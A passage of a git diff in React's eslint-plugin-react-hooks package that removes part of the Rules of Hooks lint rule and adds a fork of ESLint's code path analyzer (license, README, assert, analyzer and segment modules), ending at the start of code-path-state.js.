-              )}\` is a function created with React Hook "useEffectEvent", and can only be called from ` +
-              'the same component. They cannot be assigned to variables or passed down.',
-          });
-        }
-      },
-
-      'CallExpression:exit'(node) {
-        if (node === lastEffect) {
-          lastEffect = null;
-        }
-      },
-
-      FunctionDeclaration(node) {
-        // function MyComponent() { const onClick = useEffectEvent(...) }
-        if (isInsideComponentOrHook(node)) {
-          recordAllUseEffectEventFunctions(getScope(node));
-        }
-      },
-
-      ArrowFunctionExpression(node) {
-        // const MyComponent = () => { const onClick = useEffectEvent(...) }
-        if (isInsideComponentOrHook(node)) {
-          recordAllUseEffectEventFunctions(getScope(node));
-        }
-      },
-    };
-  },
-};
-
-/**
- * Gets the static name of a function AST node. For function declarations it is
- * easy. For anonymous function expressions it is much harder. If you search for
- * `IsAnonymousFunctionDefinition()` in the ECMAScript spec you'll find places
- * where JS gives anonymous function expressions names. We roughly detect the
- * same AST nodes with some exceptions to better fit our use case.
- */
-
-function getFunctionName(node) {
-  if (
-    node.type === 'FunctionDeclaration' ||
-    (node.type === 'FunctionExpression' && node.id)
-  ) {
-    // function useHook() {}
-    // const whatever = function useHook() {};
-    //
-    // Function declaration or function expression names win over any
-    // assignment statements or other renames.
-    return node.id;
-  } else if (
-    node.type === 'FunctionExpression' ||
-    node.type === 'ArrowFunctionExpression'
-  ) {
-    if (
-      node.parent.type === 'VariableDeclarator' &&
-      node.parent.init === node
-    ) {
-      // const useHook = () => {};
-      return node.parent.id;
-    } else if (
-      node.parent.type === 'AssignmentExpression' &&
-      node.parent.right === node &&
-      node.parent.operator === '='
-    ) {
-      // useHook = () => {};
-      return node.parent.left;
-    } else if (
-      node.parent.type === 'Property' &&
-      node.parent.value === node &&
-      !node.parent.computed
-    ) {
-      // {useHook: () => {}}
-      // {useHook() {}}
-      return node.parent.key;
-
-      // NOTE: We could also support `ClassProperty` and `MethodDefinition`
-      // here to be pedantic. However, hooks in a class are an anti-pattern. So
-      // we don't allow it to error early.
-      //
-      // class {useHook = () => {}}
-      // class {useHook() {}}
-    } else if (
-      node.parent.type === 'AssignmentPattern' &&
-      node.parent.right === node &&
-      !node.parent.computed
-    ) {
-      // const {useHook = () => {}} = {};
-      // ({useHook = () => {}} = {});
-      //
-      // Kinda clowny, but we'd said we'd follow spec convention for
-      // `IsAnonymousFunctionDefinition()` usage.
-      return node.parent.left;
-    } else {
-      return undefined;
-    }
-  } else {
-    return undefined;
-  }
-}
-
-/**
- * Convenience function for peeking the last item in a stack.
- */
-
-function last(array) {
-  return array[array.length - 1];
-}
diff --git a/packages/eslint-plugin-react-hooks/src/code-path-analysis/LICENSE b/packages/eslint-plugin-react-hooks/src/code-path-analysis/LICENSE
new file mode 100644
index 000000000000..b607bb36e96c
--- /dev/null
+++ b/packages/eslint-plugin-react-hooks/src/code-path-analysis/LICENSE
@@ -0,0 +1,19 @@
+Copyright OpenJS Foundation and other contributors, <www.openjsf.org>
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
diff --git a/packages/eslint-plugin-react-hooks/src/code-path-analysis/README.md b/packages/eslint-plugin-react-hooks/src/code-path-analysis/README.md
new file mode 100644
index 000000000000..1109cb2f387e
--- /dev/null
+++ b/packages/eslint-plugin-react-hooks/src/code-path-analysis/README.md
@@ -0,0 +1,6 @@
+# Code Path Analyzer
+
+This code is a forked version of ESLints Code Path Analyzer which includes
+support for Component Syntax.
+
+Forked from: https://github.com/eslint/eslint/tree/main/lib/linter/code-path-analysis
diff --git a/packages/eslint-plugin-react-hooks/src/code-path-analysis/assert.js b/packages/eslint-plugin-react-hooks/src/code-path-analysis/assert.js
new file mode 100644
index 000000000000..d6dc3539f3ad
--- /dev/null
+++ b/packages/eslint-plugin-react-hooks/src/code-path-analysis/assert.js
@@ -0,0 +1,9 @@
+'use strict';
+
+function assert(cond) {
+  if (!cond) {
+    throw new Error('Assertion violated.');
+  }
+}
+
+module.exports = assert;
diff --git a/packages/eslint-plugin-react-hooks/src/code-path-analysis/code-path-analyzer.js b/packages/eslint-plugin-react-hooks/src/code-path-analysis/code-path-analyzer.js
new file mode 100644
index 000000000000..8dd76e57129b
--- /dev/null
+++ b/packages/eslint-plugin-react-hooks/src/code-path-analysis/code-path-analyzer.js
@@ -0,0 +1,802 @@
+'use strict';
+
+/* eslint-disable react-internal/no-primitive-constructors */
+
+//------------------------------------------------------------------------------
+// Requirements
+//------------------------------------------------------------------------------
+
+// eslint-disable-next-line
+const assert = require('./assert');
+// eslint-disable-next-line
+const CodePath = require('./code-path');
+// eslint-disable-next-line
+const CodePathSegment = require('./code-path-segment');
+// eslint-disable-next-line
+const IdGenerator = require('./id-generator');
+
+const breakableTypePattern =
+  /^(?:(?:Do)?While|For(?:In|Of)?|Switch)Statement$/u;
+
+//------------------------------------------------------------------------------
+// Helpers
+//------------------------------------------------------------------------------
+
+/**
+ * Checks whether or not a given node is a `case` node (not `default` node).
+ * @param {ASTNode} node A `SwitchCase` node to check.
+ * @returns {boolean} `true` if the node is a `case` node (not `default` node).
+ */
+function isCaseNode(node) {
+  return Boolean(node.test);
+}
+
+/**
+ * Checks if a given node appears as the value of a PropertyDefinition node.
+ * @param {ASTNode} node THe node to check.
+ * @returns {boolean} `true` if the node is a PropertyDefinition value,
+ *      false if not.
+ */
+function isPropertyDefinitionValue(node) {
+  const parent = node.parent;
+
+  return (
+    parent && parent.type === 'PropertyDefinition' && parent.value === node
+  );
+}
+
+/**
+ * Checks whether the given logical operator is taken into account for the code
+ * path analysis.
+ * @param {string} operator The operator found in the LogicalExpression node
+ * @returns {boolean} `true` if the operator is "&&" or "||" or "??"
+ */
+function isHandledLogicalOperator(operator) {
+  return operator === '&&' || operator === '||' || operator === '??';
+}
+
+/**
+ * Checks whether the given assignment operator is a logical assignment operator.
+ * Logical assignments are taken into account for the code path analysis
+ * because of their short-circuiting semantics.
+ * @param {string} operator The operator found in the AssignmentExpression node
+ * @returns {boolean} `true` if the operator is "&&=" or "||=" or "??="
+ */
+function isLogicalAssignmentOperator(operator) {
+  return operator === '&&=' || operator === '||=' || operator === '??=';
+}
+
+/**
+ * Gets the label if the parent node of a given node is a LabeledStatement.
+ * @param {ASTNode} node A node to get.
+ * @returns {string|null} The label or `null`.
+ */
+function getLabel(node) {
+  if (node.parent.type === 'LabeledStatement') {
+    return node.parent.label.name;
+  }
+  return null;
+}
+
+/**
+ * Checks whether or not a given logical expression node goes different path
+ * between the `true` case and the `false` case.
+ * @param {ASTNode} node A node to check.
+ * @returns {boolean} `true` if the node is a test of a choice statement.
+ */
+function isForkingByTrueOrFalse(node) {
+  const parent = node.parent;
+
+  switch (parent.type) {
+    case 'ConditionalExpression':
+    case 'IfStatement':
+    case 'WhileStatement':
+    case 'DoWhileStatement':
+    case 'ForStatement':
+      return parent.test === node;
+
+    case 'LogicalExpression':
+      return isHandledLogicalOperator(parent.operator);
+
+    case 'AssignmentExpression':
+      return isLogicalAssignmentOperator(parent.operator);
+
+    default:
+      return false;
+  }
+}
+
+/**
+ * Gets the boolean value of a given literal node.
+ *
+ * This is used to detect infinity loops (e.g. `while (true) {}`).
+ * Statements preceded by an infinity loop are unreachable if the loop didn't
+ * have any `break` statement.
+ * @param {ASTNode} node A node to get.
+ * @returns {boolean|undefined} a boolean value if the node is a Literal node,
+ *   otherwise `undefined`.
+ */
+function getBooleanValueIfSimpleConstant(node) {
+  if (node.type === 'Literal') {
+    return Boolean(node.value);
+  }
+  return void 0;
+}
+
+/**
+ * Checks that a given identifier node is a reference or not.
+ *
+ * This is used to detect the first throwable node in a `try` block.
+ * @param {ASTNode} node An Identifier node to check.
+ * @returns {boolean} `true` if the node is a reference.
+ */
+function isIdentifierReference(node) {
+  const parent = node.parent;
+
+  switch (parent.type) {
+    case 'LabeledStatement':
+    case 'BreakStatement':
+    case 'ContinueStatement':
+    case 'ArrayPattern':
+    case 'RestElement':
+    case 'ImportSpecifier':
+    case 'ImportDefaultSpecifier':
+    case 'ImportNamespaceSpecifier':
+    case 'CatchClause':
+      return false;
+
+    case 'FunctionDeclaration':
+    case 'ComponentDeclaration':
+    case 'HookDeclaration':
+    case 'FunctionExpression':
+    case 'ArrowFunctionExpression':
+    case 'ClassDeclaration':
+    case 'ClassExpression':
+    case 'VariableDeclarator':
+      return parent.id !== node;
+
+    case 'Property':
+    case 'PropertyDefinition':
+    case 'MethodDefinition':
+      return parent.key !== node || parent.computed || parent.shorthand;
+
+    case 'AssignmentPattern':
+      return parent.key !== node;
+
+    default:
+      return true;
+  }
+}
+
+/**
+ * Updates the current segment with the head segment.
+ * This is similar to local branches and tracking branches of git.
+ *
+ * To separate the current and the head is in order to not make useless segments.
+ *
+ * In this process, both "onCodePathSegmentStart" and "onCodePathSegmentEnd"
+ * events are fired.
+ * @param {CodePathAnalyzer} analyzer The instance.
+ * @param {ASTNode} node The current AST node.
+ * @returns {void}
+ */
+function forwardCurrentToHead(analyzer, node) {
+  const codePath = analyzer.codePath;
+  const state = CodePath.getState(codePath);
+  const currentSegments = state.currentSegments;
+  const headSegments = state.headSegments;
+  const end = Math.max(currentSegments.length, headSegments.length);
+  let i, currentSegment, headSegment;
+
+  // Fires leaving events.
+  for (i = 0; i < end; ++i) {
+    currentSegment = currentSegments[i];
+    headSegment = headSegments[i];
+
+    if (currentSegment !== headSegment && currentSegment) {
+      if (currentSegment.reachable) {
+        analyzer.emitter.emit('onCodePathSegmentEnd', currentSegment, node);
+      }
+    }
+  }
+
+  // Update state.
+  state.currentSegments = headSegments;
+
+  // Fires entering events.
+  for (i = 0; i < end; ++i) {
+    currentSegment = currentSegments[i];
+    headSegment = headSegments[i];
+
+    if (currentSegment !== headSegment && headSegment) {
+      CodePathSegment.markUsed(headSegment);
+      if (headSegment.reachable) {
+        analyzer.emitter.emit('onCodePathSegmentStart', headSegment, node);
+      }
+    }
+  }
+}
+
+/**
+ * Updates the current segment with empty.
+ * This is called at the last of functions or the program.
+ * @param {CodePathAnalyzer} analyzer The instance.
+ * @param {ASTNode} node The current AST node.
+ * @returns {void}
+ */
+function leaveFromCurrentSegment(analyzer, node) {
+  const state = CodePath.getState(analyzer.codePath);
+  const currentSegments = state.currentSegments;
+
+  for (let i = 0; i < currentSegments.length; ++i) {
+    const currentSegment = currentSegments[i];
+    if (currentSegment.reachable) {
+      analyzer.emitter.emit('onCodePathSegmentEnd', currentSegment, node);
+    }
+  }
+
+  state.currentSegments = [];
+}
+
+/**
+ * Updates the code path due to the position of a given node in the parent node
+ * thereof.
+ *
+ * For example, if the node is `parent.consequent`, this creates a fork from the
+ * current path.
+ * @param {CodePathAnalyzer} analyzer The instance.
+ * @param {ASTNode} node The current AST node.
+ * @returns {void}
+ */
+function preprocess(analyzer, node) {
+  const codePath = analyzer.codePath;
+  const state = CodePath.getState(codePath);
+  const parent = node.parent;
+
+  switch (parent.type) {
+    // The `arguments.length == 0` case is in `postprocess` function.
+    case 'CallExpression':
+      if (
+        parent.optional === true &&
+        parent.arguments.length >= 1 &&
+        parent.arguments[0] === node
+      ) {
+        state.makeOptionalRight();
+      }
+      break;
+    case 'MemberExpression':
+      if (parent.optional === true && parent.property === node) {
+        state.makeOptionalRight();
+      }
+      break;
+
+    case 'LogicalExpression':
+      if (parent.right === node && isHandledLogicalOperator(parent.operator)) {
+        state.makeLogicalRight();
+      }
+      break;
+
+    case 'AssignmentExpression':
+      if (
+        parent.right === node &&
+        isLogicalAssignmentOperator(parent.operator)
+      ) {
+        state.makeLogicalRight();
+      }
+      break;
+
+    case 'ConditionalExpression':
+    case 'IfStatement':
+      /*
+       * Fork if this node is at `consequent`/`alternate`.
+       * `popForkContext()` exists at `IfStatement:exit` and
+       * `ConditionalExpression:exit`.
+       */
+      if (parent.consequent === node) {
+        state.makeIfConsequent();
+      } else if (parent.alternate === node) {
+        state.makeIfAlternate();
+      }
+      break;
+
+    case 'SwitchCase':
+      if (parent.consequent[0] === node) {
+        state.makeSwitchCaseBody(false, !parent.test);
+      }
+      break;
+
+    case 'TryStatement':
+      if (parent.handler === node) {
+        state.makeCatchBlock();
+      } else if (parent.finalizer === node) {
+        state.makeFinallyBlock();
+      }
+      break;
+
+    case 'WhileStatement':
+      if (parent.test === node) {
+        state.makeWhileTest(getBooleanValueIfSimpleConstant(node));
+      } else {
+        assert(parent.body === node);
+        state.makeWhileBody();
+      }
+      break;
+
+    case 'DoWhileStatement':
+      if (parent.body === node) {
+        state.makeDoWhileBody();
+      } else {
+        assert(parent.test === node);
+        state.makeDoWhileTest(getBooleanValueIfSimpleConstant(node));
+      }
+      break;
+
+    case 'ForStatement':
+      if (parent.test === node) {
+        state.makeForTest(getBooleanValueIfSimpleConstant(node));
+      } else if (parent.update === node) {
+        state.makeForUpdate();
+      } else if (parent.body === node) {
+        state.makeForBody();
+      }
+      break;
+
+    case 'ForInStatement':
+    case 'ForOfStatement':
+      if (parent.left === node) {
+        state.makeForInOfLeft();
+      } else if (parent.right === node) {
+        state.makeForInOfRight();
+      } else {
+        assert(parent.body === node);
+        state.makeForInOfBody();
+      }
+      break;
+
+    case 'AssignmentPattern':
+      /*
+       * Fork if this node is at `right`.
+       * `left` is executed always, so it uses the current path.
+       * `popForkContext()` exists at `AssignmentPattern:exit`.
+       */
+      if (parent.right === node) {
+        state.pushForkContext();
+        state.forkBypassPath();
+        state.forkPath();
+      }
+      break;
+
+    default:
+      break;
+  }
+}
+
+/**
+ * Updates the code path due to the type of a given node in entering.
+ * @param {CodePathAnalyzer} analyzer The instance.
+ * @param {ASTNode} node The current AST node.
+ * @returns {void}
+ */
+function processCodePathToEnter(analyzer, node) {
+  let codePath = analyzer.codePath;
+  let state = codePath && CodePath.getState(codePath);
+  const parent = node.parent;
+
+  /**
+   * Creates a new code path and trigger the onCodePathStart event
+   * based on the currently selected node.
+   * @param {string} origin The reason the code path was started.
+   * @returns {void}
+   */
+  function startCodePath(origin) {
+    if (codePath) {
+      // Emits onCodePathSegmentStart events if updated.
+      forwardCurrentToHead(analyzer, node);
+    }
+
+    // Create the code path of this scope.
+    codePath = analyzer.codePath = new CodePath({
+      id: analyzer.idGenerator.next(),
+      origin,
+      upper: codePath,
+      onLooped: analyzer.onLooped,
+    });
+    state = CodePath.getState(codePath);
+
+    // Emits onCodePathStart events.
+    analyzer.emitter.emit('onCodePathStart', codePath, node);
+  }
+
+  /*
+   * Special case: The right side of class field initializer is considered
+   * to be its own function, so we need to start a new code path in this
+   * case.
+   */
+  if (isPropertyDefinitionValue(node)) {
+    startCodePath('class-field-initializer');
+
+    /*
+     * Intentional fall through because `node` needs to also be
+     * processed by the code below. For example, if we have:
+     *
+     * class Foo {
+     *     a = () => {}
+     * }
+     *
+     * In this case, we also need start a second code path.
+     */
+  }
+
+  switch (node.type) {
+    case 'Program':
+      startCodePath('program');
+      break;
+
+    case 'FunctionDeclaration':
+    case 'ComponentDeclaration':
+    case 'HookDeclaration':
+    case 'FunctionExpression':
+    case 'ArrowFunctionExpression':
+      startCodePath('function');
+      break;
+
+    case 'StaticBlock':
+      startCodePath('class-static-block');
+      break;
+
+    case 'ChainExpression':
+      state.pushChainContext();
+      break;
+    case 'CallExpression':
+      if (node.optional === true) {
+        state.makeOptionalNode();
+      }
+      break;
+    case 'MemberExpression':
+      if (node.optional === true) {
+        state.makeOptionalNode();
+      }
+      break;
+
+    case 'LogicalExpression':
+      if (isHandledLogicalOperator(node.operator)) {
+        state.pushChoiceContext(node.operator, isForkingByTrueOrFalse(node));
+      }
+      break;
+
+    case 'AssignmentExpression':
+      if (isLogicalAssignmentOperator(node.operator)) {
+        state.pushChoiceContext(
+          node.operator.slice(0, -1), // removes `=` from the end
+          isForkingByTrueOrFalse(node),
+        );
+      }
+      break;
+
+    case 'ConditionalExpression':
+    case 'IfStatement':
+      state.pushChoiceContext('test', false);
+      break;
+
+    case 'SwitchStatement':
+      state.pushSwitchContext(node.cases.some(isCaseNode), getLabel(node));
+      break;
+
+    case 'TryStatement':
+      state.pushTryContext(Boolean(node.finalizer));
+      break;
+
+    case 'SwitchCase':
+      /*
+       * Fork if this node is after the 2st node in `cases`.
+       * It's similar to `else` blocks.
+       * The next `test` node is processed in this path.
+       */
+      if (parent.discriminant !== node && parent.cases[0] !== node) {
+        state.forkPath();
+      }
+      break;
+
+    case 'WhileStatement':
+    case 'DoWhileStatement':
+    case 'ForStatement':
+    case 'ForInStatement':
+    case 'ForOfStatement':
+      state.pushLoopContext(node.type, getLabel(node));
+      break;
+
+    case 'LabeledStatement':
+      if (!breakableTypePattern.test(node.body.type)) {
+        state.pushBreakContext(false, node.label.name);
+      }
+      break;
+
+    default:
+      break;
+  }
+
+  // Emits onCodePathSegmentStart events if updated.
+  forwardCurrentToHead(analyzer, node);
+}
+
+/**
+ * Updates the code path due to the type of a given node in leaving.
+ * @param {CodePathAnalyzer} analyzer The instance.
+ * @param {ASTNode} node The current AST node.
+ * @returns {void}
+ */
+function processCodePathToExit(analyzer, node) {
+  const codePath = analyzer.codePath;
+  const state = CodePath.getState(codePath);
+  let dontForward = false;
+
+  switch (node.type) {
+    case 'ChainExpression':
+      state.popChainContext();
+      break;
+
+    case 'IfStatement':
+    case 'ConditionalExpression':
+      state.popChoiceContext();
+      break;
+
+    case 'LogicalExpression':
+      if (isHandledLogicalOperator(node.operator)) {
+        state.popChoiceContext();
+      }
+      break;
+
+    case 'AssignmentExpression':
+      if (isLogicalAssignmentOperator(node.operator)) {
+        state.popChoiceContext();
+      }
+      break;
+
+    case 'SwitchStatement':
+      state.popSwitchContext();
+      break;
+
+    case 'SwitchCase':
+      /*
+       * This is the same as the process at the 1st `consequent` node in
+       * `preprocess` function.
+       * Must do if this `consequent` is empty.
+       */
+      if (node.consequent.length === 0) {
+        state.makeSwitchCaseBody(true, !node.test);
+      }
+      if (state.forkContext.reachable) {
+        dontForward = true;
+      }
+      break;
+
+    case 'TryStatement':
+      state.popTryContext();
+      break;
+
+    case 'BreakStatement':
+      forwardCurrentToHead(analyzer, node);
+      state.makeBreak(node.label && node.label.name);
+      dontForward = true;
+      break;
+
+    case 'ContinueStatement':
+      forwardCurrentToHead(analyzer, node);
+      state.makeContinue(node.label && node.label.name);
+      dontForward = true;
+      break;
+
+    case 'ReturnStatement':
+      forwardCurrentToHead(analyzer, node);
+      state.makeReturn();
+      dontForward = true;
+      break;
+
+    case 'ThrowStatement':
+      forwardCurrentToHead(analyzer, node);
+      state.makeThrow();
+      dontForward = true;
+      break;
+
+    case 'Identifier':
+      if (isIdentifierReference(node)) {
+        state.makeFirstThrowablePathInTryBlock();
+        dontForward = true;
+      }
+      break;
+
+    case 'CallExpression':
+    case 'ImportExpression':
+    case 'MemberExpression':
+    case 'NewExpression':
+    case 'YieldExpression':
+      state.makeFirstThrowablePathInTryBlock();
+      break;
+
+    case 'WhileStatement':
+    case 'DoWhileStatement':
+    case 'ForStatement':
+    case 'ForInStatement':
+    case 'ForOfStatement':
+      state.popLoopContext();
+      break;
+
+    case 'AssignmentPattern':
+      state.popForkContext();
+      break;
+
+    case 'LabeledStatement':
+      if (!breakableTypePattern.test(node.body.type)) {
+        state.popBreakContext();
+      }
+      break;
+
+    default:
+      break;
+  }
+
+  // Emits onCodePathSegmentStart events if updated.
+  if (!dontForward) {
+    forwardCurrentToHead(analyzer, node);
+  }
+}
+
+/**
+ * Updates the code path to finalize the current code path.
+ * @param {CodePathAnalyzer} analyzer The instance.
+ * @param {ASTNode} node The current AST node.
+ * @returns {void}
+ */
+function postprocess(analyzer, node) {
+  /**
+   * Ends the code path for the current node.
+   * @returns {void}
+   */
+  function endCodePath() {
+    let codePath = analyzer.codePath;
+
+    // Mark the current path as the final node.
+    CodePath.getState(codePath).makeFinal();
+
+    // Emits onCodePathSegmentEnd event of the current segments.
+    leaveFromCurrentSegment(analyzer, node);
+
+    // Emits onCodePathEnd event of this code path.
+    analyzer.emitter.emit('onCodePathEnd', codePath, node);
+
+    codePath = analyzer.codePath = analyzer.codePath.upper;
+  }
+
+  switch (node.type) {
+    case 'Program':
+    case 'FunctionDeclaration':
+    case 'ComponentDeclaration':
+    case 'HookDeclaration':
+    case 'FunctionExpression':
+    case 'ArrowFunctionExpression':
+    case 'StaticBlock': {
+      endCodePath();
+      break;
+    }
+
+    // The `arguments.length >= 1` case is in `preprocess` function.
+    case 'CallExpression':
+      if (node.optional === true && node.arguments.length === 0) {
+        CodePath.getState(analyzer.codePath).makeOptionalRight();
+      }
+      break;
+
+    default:
+      break;
+  }
+
+  /*
+   * Special case: The right side of class field initializer is considered
+   * to be its own function, so we need to end a code path in this
+   * case.
+   *
+   * We need to check after the other checks in order to close the
+   * code paths in the correct order for code like this:
+   *
+   *
+   * class Foo {
+   *     a = () => {}
+   * }
+   *
+   * In this case, The ArrowFunctionExpression code path is closed first
+   * and then we need to close the code path for the PropertyDefinition
+   * value.
+   */
+  if (isPropertyDefinitionValue(node)) {
+    endCodePath();
+  }
+}
+
+//------------------------------------------------------------------------------
+// Public Interface
+//------------------------------------------------------------------------------
+
+/**
+ * The class to analyze code paths.
+ * This class implements the EventGenerator interface.
+ */
+class CodePathAnalyzer {
+  /**
+   * @param {EventGenerator} eventGenerator An event generator to wrap.
+   */
+  constructor(emitters) {
+    this.emitter = {
+      emit(event, ...args) {
+        emitters[event]?.(...args);
+      },
+    };
+    this.codePath = null;
+    this.idGenerator = new IdGenerator('s');
+    this.currentNode = null;
+    this.onLooped = this.onLooped.bind(this);
+  }
+
+  /**
+   * Does the process to enter a given AST node.
+   * This updates state of analysis and calls `enterNode` of the wrapped.
+   * @param {ASTNode} node A node which is entering.
+   * @returns {void}
+   */
+  enterNode(node) {
+    this.currentNode = node;
+
+    // Updates the code path due to node's position in its parent node.
+    if (node.parent) {
+      preprocess(this, node);
+    }
+
+    /*
+     * Updates the code path.
+     * And emits onCodePathStart/onCodePathSegmentStart events.
+     */
+    processCodePathToEnter(this, node);
+
+    this.currentNode = null;
+  }
+
+  /**
+   * Does the process to leave a given AST node.
+   * This updates state of analysis and calls `leaveNode` of the wrapped.
+   * @param {ASTNode} node A node which is leaving.
+   * @returns {void}
+   */
+  leaveNode(node) {
+    this.currentNode = node;
+
+    /*
+     * Updates the code path.
+     * And emits onCodePathStart/onCodePathSegmentStart events.
+     */
+    processCodePathToExit(this, node);
+
+    // Emits the last onCodePathStart/onCodePathSegmentStart events.
+    postprocess(this, node);
+
+    this.currentNode = null;
+  }
+
+  /**
+   * This is called on a code path looped.
+   * Then this raises a looped event.
+   * @param {CodePathSegment} fromSegment A segment of prev.
+   * @param {CodePathSegment} toSegment A segment of next.
+   * @returns {void}
+   */
+  onLooped(fromSegment, toSegment) {
+    if (fromSegment.reachable && toSegment.reachable) {
+      this.emitter.emit(
+        'onCodePathSegmentLoop',
+        fromSegment,
+        toSegment,
+        this.currentNode,
+      );
+    }
+  }
+}
+
+module.exports = CodePathAnalyzer;
diff --git a/packages/eslint-plugin-react-hooks/src/code-path-analysis/code-path-segment.js b/packages/eslint-plugin-react-hooks/src/code-path-analysis/code-path-segment.js
new file mode 100644
index 000000000000..fb015296a74f
--- /dev/null
+++ b/packages/eslint-plugin-react-hooks/src/code-path-analysis/code-path-segment.js
@@ -0,0 +1,225 @@
+'use strict';
+
+//------------------------------------------------------------------------------
+// Requirements
+//------------------------------------------------------------------------------
+
+//------------------------------------------------------------------------------
+// Helpers
+//------------------------------------------------------------------------------
+
+/**
+ * Checks whether or not a given segment is reachable.
+ * @param {CodePathSegment} segment A segment to check.
+ * @returns {boolean} `true` if the segment is reachable.
+ */
+function isReachable(segment) {
+  return segment.reachable;
+}
+
+//------------------------------------------------------------------------------
+// Public Interface
+//------------------------------------------------------------------------------
+
+/**
+ * A code path segment.
+ */
+class CodePathSegment {
+  /**
+   * @param {string} id An identifier.
+   * @param {CodePathSegment[]} allPrevSegments An array of the previous segments.
+   *   This array includes unreachable segments.
+   * @param {boolean} reachable A flag which shows this is reachable.
+   */
+  constructor(id, allPrevSegments, reachable) {
+    /**
+     * The identifier of this code path.
+     * Rules use it to store additional information of each rule.
+     * @type {string}
+     */
+    this.id = id;
+
+    /**
+     * An array of the next segments.
+     * @type {CodePathSegment[]}
+     */
+    this.nextSegments = [];
+
+    /**
+     * An array of the previous segments.
+     * @type {CodePathSegment[]}
+     */
+    this.prevSegments = allPrevSegments.filter(isReachable);
+
+    /**
+     * An array of the next segments.
+     * This array includes unreachable segments.
+     * @type {CodePathSegment[]}
+     */
+    this.allNextSegments = [];
+
+    /**
+     * An array of the previous segments.
+     * This array includes unreachable segments.
+     * @type {CodePathSegment[]}
+     */
+    this.allPrevSegments = allPrevSegments;
+
+    /**
+     * A flag which shows this is reachable.
+     * @type {boolean}
+     */
+    this.reachable = reachable;
+
+    // Internal data.
+    Object.defineProperty(this, 'internal', {
+      value: {
+        used: false,
+        loopedPrevSegments: [],
+      },
+    });
+  }
+
+  /**
+   * Checks a given previous segment is coming from the end of a loop.
+   * @param {CodePathSegment} segment A previous segment to check.
+   * @returns {boolean} `true` if the segment is coming from the end of a loop.
+   */
+  isLoopedPrevSegment(segment) {
+    return this.internal.loopedPrevSegments.includes(segment);
+  }
+
+  /**
+   * Creates the root segment.
+   * @param {string} id An identifier.
+   * @returns {CodePathSegment} The created segment.
+   */
+  static newRoot(id) {
+    return new CodePathSegment(id, [], true);
+  }
+
+  /**
+   * Creates a segment that follows given segments.
+   * @param {string} id An identifier.
+   * @param {CodePathSegment[]} allPrevSegments An array of the previous segments.
+   * @returns {CodePathSegment} The created segment.
+   */
+  static newNext(id, allPrevSegments) {
+    return new CodePathSegment(
+      id,
+      CodePathSegment.flattenUnusedSegments(allPrevSegments),
+      allPrevSegments.some(isReachable),
+    );
+  }
+
+  /**
+   * Creates an unreachable segment that follows given segments.
+   * @param {string} id An identifier.
+   * @param {CodePathSegment[]} allPrevSegments An array of the previous segments.
+   * @returns {CodePathSegment} The created segment.
+   */
+  static newUnreachable(id, allPrevSegments) {
+    const segment = new CodePathSegment(
+      id,
+      CodePathSegment.flattenUnusedSegments(allPrevSegments),
+      false,
+    );
+
+    /*
+     * In `if (a) return a; foo();` case, the unreachable segment preceded by
+     * the return statement is not used but must not be remove.
+     */
+    CodePathSegment.markUsed(segment);
+
+    return segment;
+  }
+
+  /**
+   * Creates a segment that follows given segments.
+   * This factory method does not connect with `allPrevSegments`.
+   * But this inherits `reachable` flag.
+   * @param {string} id An identifier.
+   * @param {CodePathSegment[]} allPrevSegments An array of the previous segments.
+   * @returns {CodePathSegment} The created segment.
+   */
+  static newDisconnected(id, allPrevSegments) {
+    return new CodePathSegment(id, [], allPrevSegments.some(isReachable));
+  }
+
+  /**
+   * Makes a given segment being used.
+   *
+   * And this function registers the segment into the previous segments as a next.
+   * @param {CodePathSegment} segment A segment to mark.
+   * @returns {void}
+   */
+  static markUsed(segment) {
+    if (segment.internal.used) {
+      return;
+    }
+    segment.internal.used = true;
+
+    let i;
+
+    if (segment.reachable) {
+      for (i = 0; i < segment.allPrevSegments.length; ++i) {
+        const prevSegment = segment.allPrevSegments[i];
+
+        prevSegment.allNextSegments.push(segment);
+        prevSegment.nextSegments.push(segment);
+      }
+    } else {
+      for (i = 0; i < segment.allPrevSegments.length; ++i) {
+        segment.allPrevSegments[i].allNextSegments.push(segment);
+      }
+    }
+  }
+
+  /**
+   * Marks a previous segment as looped.
+   * @param {CodePathSegment} segment A segment.
+   * @param {CodePathSegment} prevSegment A previous segment to mark.
+   * @returns {void}
+   */
+  static markPrevSegmentAsLooped(segment, prevSegment) {
+    segment.internal.loopedPrevSegments.push(prevSegment);
+  }
+
+  /**
+   * Replaces unused segments with the previous segments of each unused segment.
+   * @param {CodePathSegment[]} segments An array of segments to replace.
+   * @returns {CodePathSegment[]} The replaced array.
+   */
+  static flattenUnusedSegments(segments) {
+    const done = Object.create(null);
+    const retv = [];
+
+    for (let i = 0; i < segments.length; ++i) {
+      const segment = segments[i];
+
+      // Ignores duplicated.
+      if (done[segment.id]) {
+        continue;
+      }
+
+      // Use previous segments if unused.
+      if (!segment.internal.used) {
+        for (let j = 0; j < segment.allPrevSegments.length; ++j) {
+          const prevSegment = segment.allPrevSegments[j];
+
+          if (!done[prevSegment.id]) {
+            done[prevSegment.id] = true;
+            retv.push(prevSegment);
+          }
+        }
+      } else {
+        done[segment.id] = true;
+        retv.push(segment);
+      }
+    }
+
+    return retv;
+  }
+}
+
+module.exports = CodePathSegment;
diff --git a/packages/eslint-plugin-react-hooks/src/code-path-analysis/code-path-state.js b/packages/eslint-plugin-react-hooks/src/code-path-analysis/code-path-state.js
new file mode 100644
index 000000000000..9a107fecd7f9
--- /dev/null
+++ b/packages/eslint-plugin-react-hooks/src/code-path-analysis/code-path-state.js
@@ -0,0 +1,1441 @@
+'use strict';
+
+//------------------------------------------------------------------------------
+// Requirements
+//------------------------------------------------------------------------------
+
